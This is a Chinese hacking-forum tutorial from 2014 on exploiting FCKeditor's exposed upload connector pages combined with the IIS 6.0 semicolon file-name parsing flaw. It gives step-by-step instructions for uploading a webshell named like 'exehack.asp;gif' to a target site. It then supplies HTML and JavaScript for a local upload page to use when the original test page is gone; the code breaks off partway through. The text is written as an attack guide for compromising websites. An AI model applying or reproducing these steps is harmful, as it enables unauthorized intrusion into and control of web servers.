Fckeditor编辑器上传漏洞(iis6.0解析0day)下载

来源：黑吧安全网　浏览：1018次　时间：2014-05-14

Fckeditor编辑器的漏洞几乎和ewebeditor编辑器漏洞一模一样的严重

与ewebeditor编辑器不同的是Fckeditor编辑器的漏洞只存在于暴露编辑器的上传点和服务器IIS版本必须是iis6.0版本

（因为IIS6.0存在解析漏洞）

反之如果说服务器的IIS版本为6.0以上则无法利用。

一般情况下fckeditor编辑器的默认上传地址为:

/expansion/fckeditor/editor/filemanager/connectors/test.html
/expansion/fckeditor/editor/filemanager/connectors/uploadtest.html

如下图所示:

1知道了编辑器的上传地址后选择Connector项目的网站语言一般情况下是选择asp 或者 asp.net

2.然后点击 Get Folders and Files 即可查看网站的图片目录文件然后即可点击浏览选择我们的网站木马点击上传即可。

3.上传成功后回到 Get Folders and Files 即可查看到上传的文件

如上图所示图片目录为 /uploadfile/ 我们的木马名字是 exehack.asp;gif

（注意:上传成功后一般情况下系统会自动按照时间格式改名大家可以在图片目录下查看上传成功后的木马名字）

如果我们存在漏洞的网站是http://myhack58.com 网站那么上传成功后的木马文件就在http://myhack58.com/uploadfile/木马.asp;gif

--------------------------------------------------------------------------------

由于Fckeditor是一款比较老的编辑器了漏洞也存在了比较长的时候.有时候存在漏洞的页面被管理员或者别人删除或者修改了内容

我们就无法找到上传点了。

比如如下情况:

那么我们可以在本地创建一个上传文件文件代码如下:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
    <title>FCKeditor - Connectors Tests</title>
    <script type="text/javascript">
function BuildBaseUrl( command )
{
    var sUrl =
        document.getElementById('cmbConnector').value +
        '?Command=' + command +
        '&Type=' + document.getElementById('cmbType').value +
        '&CurrentFolder=' + encodeURIComponent(document.getElementById('txtFolder').value) ;
    return sUrl ;
}
function SetFrameUrl( url )
{
    document.getElementById('eRunningFrame').src = url ;
    document.getElementById('eUrl').innerHTML = url ;
}
function GetFolders()
{
    SetFrameUrl( BuildBaseUrl( 'GetFolders' ) ) ;
    return false ;
}
function GetFoldersAndFiles()
{
    SetFrameUrl( BuildBaseUrl( 'GetFoldersAndFiles' ) ) ;
    return false ;
}
function CreateFolder()
{
    var sFolder = prompt( 'Type the folder name:', 'Test Folder' ) ;
    if ( ! sFolder )
        return false ;
    var sUrl = BuildBaseUrl( 'CreateFolder' ) ;
    sUrl += '&NewFolderName=' + encodeURIComponent( sFolder ) ;
    SetFrameUrl( sUrl ) ;
    return false ;
}
function OnUploadCompleted( errorNumber, fileName )
{
    switch ( errorNumber )
    {
        case 0 :
            alert( 'File uploaded with no errors' ) ;
            break ;